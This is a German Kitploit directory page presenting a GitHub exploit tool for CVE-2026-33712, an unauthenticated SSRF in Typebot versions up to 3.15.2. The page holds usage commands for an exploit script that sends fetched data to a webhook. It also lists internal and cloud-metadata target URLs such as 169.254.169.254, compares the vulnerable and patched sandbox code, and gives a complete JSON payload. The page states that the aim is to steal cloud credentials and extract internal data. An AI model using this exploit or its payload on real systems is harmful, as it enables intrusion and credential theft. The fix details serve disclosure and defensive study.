Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33712 — CVE-2026-33712 - Typebot <= 3.15.2 Nicht authentifizierte SSRF über isolated-vm Sandbox-Fetch | Kitploit
Tools/GitHubGitHub/portbuster1337/cve-2026-33712
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHubportbuster1337/cve-2026-33712

CVE-2026-33712

CVE-2026-33712 - Typebot <= 3.15.2 Nicht authentifizierte SSRF über isolated-vm Sandbox-Fetch

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33712 - Typebot Unauthenticated SSRF

Beschreibung

Typebot <= 3.15.2 (behoben in 3.16.0) enthält eine nicht authentifizierte Server-Side Request Forgery (SSRF)-Sicherheitslücke im Preview-Chat-Endpunkt.

Endpunkt: POST /api/v1/typebots/{typebotId}/preview/startChat

Der Preview-Endpunkt akzeptiert eine benutzerbereitgestellte Typebot-Definition mit serverseitigen Code-Blöcken. Die fetch()-Funktion, die innerhalb der isolated-vm-Sandbox bereitgestellt wird, ruft Node.js-natives fetch ohne die validateHttpReqUrl()-SSRF-Validierung auf, die den regulären HTTP-Request-Block schützt. Dies umgeht alle SSRF-Gegenmaßnahmen.

Haftungsausschluss

Dieses Tool dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests. Die unbefugte Nutzung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben, ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.

Auswirkungen

  • Diebstahl von Cloud-Anmeldeinformationen (AWS IMDS, GCP-Metadaten, Azure IMDS)
  • Interner Netzwerkzugriff auf Docker-Container und private Subnetze
  • Datenextraktion aus internen Diensten
  • SMTP_FROM / Admin-E-Mail-Offenlegung über __ENV.js

Dateien

DateiBeschreibung
exploit.pyHaupt-Exploit-Skript
endpoints.txtEine URL pro Zeile – SSRF-Ziele zum Scannen
requirements.txtPython-Abhängigkeiten

Verwendung

root@kitploit:~
pip install -r requirements.txt

# Single SSRF request
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid

# Scan all URLs from endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan

# Auto-detect viewer URL from builder's __ENV.js
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan

# Skip pre-flight and force execution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force

Argumente

ArgumentBeschreibung
-t / --targetTypebot-Instanz-URL (Viewer oder Builder). Schema standardmäßig http://
-u / --urlInterne URL, die per SSRF abgerufen werden soll (Einzelmodus)
-w / --webhookWebhook-URL für exfiltrierte Daten (oder Umgebungsvariable WEBHOOK_URL)
--scanAlle URLs aus endpoints.txt scannen
--detect-viewer/__ENV.js auf dem Ziel abfragen, um NEXT_PUBLIC_VIEWER_URL zu finden und zu verwenden
--forceVorabprüfungen überspringen und Ausführung erzwingen
--timeoutAnfrage-Timeout (Standard: 20s)
--delayVerzögerung zwischen Scan-Anfragen (Standard: 0,3s)

Verhalten

  1. Auto-Schema — wenn Sie bot.example.com ohne http:// übergeben, wird es automatisch vorangestellt.
  2. Pre-Flight — vor jeder Anfrage testet das Skript das Ziel und klassifiziert es als vulnerable (anfällig), patched (gepatcht, Authentifizierung erforderlich) oder endpoint_missing (falsche URL/Version). Bricht bei Fehlern frühzeitig ab, es sei denn --force ist gesetzt.
  3. Scan-Modus — liest endpoints.txt, durchläuft jede URL und exfiltriert den Inhalt an den Webhook.
  4. Exfiltration — Inhalt wird als POST-Body an die Webhook-URL gesendet (nicht als Query-Parameter), um URL-Längenbegrenzungen zu vermeiden.

endpoints.txt

Eine rohe URL pro Zeile. Leerzeilen werden ignoriert. Keine Kommentare, keine Kategorien.

root@kitploit:~
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/

Angreifbarer Codepfad

In packages/variables/src/executeFunction.ts rief die innerhalb der isolated-vm-Sandbox bereitgestellte fetch()-Funktion ursprünglich Node.js-natives fetch ohne SSRF-Validierung auf:

root@kitploit:~
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const res = await fetch(input, init);  // No validateHttpReqUrl!
    return res.text();
  }),
});

// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const request = new Request(input, init);
    await validateHttpReqUrl(request.url);  // SSRF check added
    validateHttpReqHeaders(headers);
  }),
});

Der Fix (Commit d96f572) ordnete auch die Prüfungen in getTypebot() neu an, sodass die Authentifizierungsvalidierung vor der benutzerdefinierten Typebot-Verknüpfung ausgeführt wird, und verschob den Preview-Endpunkt des Viewers von procedureWithOptionalUser zu protectedProcedure.

Payload-Struktur

root@kitploit:~
{
  "typebotId": "exploit-id",
  "typebot": {
    "version": "6",
    "id": "exploit-bot",
    "workspaceId": "test",
    "updatedAt": "2026-01-01T00:00:00.000Z",
    "groups": [
      {
        "id": "group-1", "title": "Start",
        "graphCoordinates": {"x": 0, "y": 0},
        "blocks": [
          {"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
        ]
      },
      {
        "id": "group-2", "title": "SSRF",
        "graphCoordinates": {"x": 200, "y": 0},
        "blocks": [
          {
            "id": "block-2", "type": "Code",
            "outgoingEdgeId": "edge-2",
            "options": {
              "name": "SSRF",
              "content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
              "isExecutedOnClient": false,
              "isUnsafe": true
            }
          }
        ]
      }
    ],
    "edges": [
      {"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
    ],
    "events": [
      {"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
    ],
    "variables": [
      {"id": "var-1", "name": "result", "value": null}
    ],
    "settings": {"general": {}},
    "theme": {"general": {}, "chat": {}}
  }
}

Wichtig: fetch() innerhalb der Sandbox gibt bereits .text() zurück, daher ist das Ergebnis ein String, kein Response-Objekt.

Tool herunterladen